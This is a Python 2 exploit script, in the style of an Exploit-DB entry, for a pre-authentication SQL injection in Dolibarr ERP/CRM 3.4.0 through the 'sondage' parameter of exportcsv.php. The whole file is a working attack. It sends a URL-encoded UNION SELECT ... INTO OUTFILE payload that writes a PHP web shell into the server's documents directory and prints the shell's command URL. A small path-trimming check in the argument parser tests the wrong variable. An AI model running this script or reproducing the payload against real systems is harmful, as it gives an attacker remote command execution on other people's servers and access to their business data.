Dolibarr ERP/CRM 3.4.0 - 'exportcsv.php?sondage' SQL Injection

# Exploit Title: Dolibarr 3.4.0 SQLi
# Date: 10/7/2013
# Exploit author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
# Vendor homepage: http://www.dolibarr.org/
# Software link: 
# Version: 3.4.0
# Fixed in: 3.4.1
# Tested on: Ubuntu 12.04 (apparmor disabled)

import urllib2
import string
import random
from argparse import ArgumentParser

""" Preauth web shell via SQL injection
    Dolibarr 3.4.0
"""

def run(options):
    """ run exploit
    """
    print '[!] Dropping web shell on %s...' % options.ip
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
    sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
                                            .format(options.ip, options.rootp)

    # ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
    exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
              ',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
                        .format(options.path, shell)

    try:
        urllib2.urlopen(sqli + exploit)
        print '[!] Shell dropped.  http://%s%s/documents/%s.php?cmd=ls' % \
                                                    (options.ip, options.rootp, shell)
    except Exception, e:
        print '[-] %s' % e

def parse():
    """ Parse cli
    """
    parser = ArgumentParser()
    parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
    parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
                            default='/dolibarr', dest='rootp')
    parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
                            action='store', default='/var/www/dolibarr/documents', dest='path')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":
    run(parse())